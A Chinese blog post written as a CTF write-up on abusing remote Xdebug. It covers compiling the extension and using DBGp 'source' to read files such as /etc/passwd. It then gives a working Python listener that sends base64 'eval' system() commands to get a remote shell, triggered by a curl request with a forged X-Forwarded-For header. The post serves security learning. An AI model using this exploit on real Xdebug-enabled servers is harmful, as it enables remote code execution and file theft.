美文网首页
XDEBUG远程调试

XDEBUG远程调试

作者: 白里个白 | 来源:发表于2017-09-29 20:38 被阅读0次

在whctf里膜到了这一题,致敬r神
首先要下载xdebug插件
然后,我们需要phpize来安装PHP的插件

apt install php7.0-dev

之后就是我们进入文件夹
编译

phpize
./configure config if php-config is not in your path)
make
make install

记得保存下xdebug.so文件cp modules/xdebug.so /usr/lib/php/20151012
逐一完成之后,就完成了编译了
然后我们就要把自己的xdebug在php配置好
在php下apache文件夹里的php.ini一定要配
我们要打开

zend_extension="/usr/lib/php/20151012/xdebug.so"
extension = xdebug.so

然后就是自己配参数了

原理

这里的原理是:
xdebug远程的就是利用的是DBGp协议
DBGp里有一些命令:

  1. source
source -i transaction_id -f fileURI

transaction_id 每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 受限于 open_basedir
利用方式:

source -i 1 -f file:///etc/passwd

另外,此处可以用 php://filter 来读取文件,所以也可以用来 SSRF。

  1. eval
eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。

xdebug题目

whctf2017里的一道web题,主要是xdebug的远程调试导致可以执行任意命令
这里主要是xdebug.remote_connect_backxdebug.remote_enable这个参数要打开
这样也是比较简单
然后就是直接上:

#!/usr/bin/python2
import socket
import re
import os

ip_port = ('0.0.0.0',8802)
sk = socket.socket()
sk.bind(ip_port)

#os.system('curl "http://192.168.60.133/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For: 192.168.60.132"')

sk.listen(10)
conn, addr = sk.accept()
#curl "http://192.168.60.133/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For: 192.168.60.132"


while True:
    client_data = conn.recv(1024)
    print (client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % ('system("'+data+'");').encode('base64'))

然后就是,我在服务器可以监听端口,让shell反弹到我的服务器上
这里我用其它的去访问curl "http://*.*.*.*/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For: *.*.*.*"类似的。这里的xff会给xdebug远程调试的信息,就是链接这个xff,然后,我们使用上面说过的eval的命令,就是PHP语言的eval,我们执行system函数,就会返回信息,这些信息也以base64的形式返回。

这样就是了

相关文章

  • PhpStorm + xdebug3 远程调试

    PhpStorm + xdebug3 远程调试[https://xdebug.org/docs]xdebug3安装...

  • XDEBUG远程调试

    在whctf里膜到了这一题,致敬r神首先要下载xdebug插件然后,我们需要phpize来安装PHP的插件 之后就...

  • 让PHPSTORM和xammp更搭调

    phpStorm+XDebug的断点调试设置。下面情况针对本机进行调试,远程调试差距不大。 具体过程: 安装xde...

  • Homestead远程xdebug调试

    20190606_更新 注意两个大坑: 1. xdebug的版本 个人安装的系统为ubuntu16.04.4, p...

  • 2019-07-15

    花了一周多时间最详细的整理了PHPSTORM+XDEBUG的调试教程,实现了php程序的远程调试、单步调试、跟踪等...

  • Xdebug+PhpStorm 远程调试

    开发环境: 本地 Windows10 日常开发使用的环境 装有PHPStorm 远程主机 Linux 服务...

  • Xdebug+PhpStorm远程调试

    开发环境: Windows笔记本:日常开发使用机器,安装PHPStrom Linux远程服务器:安装php-fpm...

  • 使用Xdebug进行远程调试

    为什么要用? 方便联调:和客户端一起联调,是die(); exit(); 会影响其他人员是使用。 关注数据变化:正...

  • PhpStom配置远程调试-Xdebug

    安装依赖 扩展下载地址:https://xdebug.org/download.php 配置Xdebug参数 xd...

  • PHPStorm + Homestead + Xdebug +

    PHPStorm + Homestead + Xdebug + Chrome Xdebug 断点调试 话说 PHP...

网友评论

      本文标题:XDEBUG远程调试

      本文链接:https://www.haomeiwen.com/subject/kdrwextx.html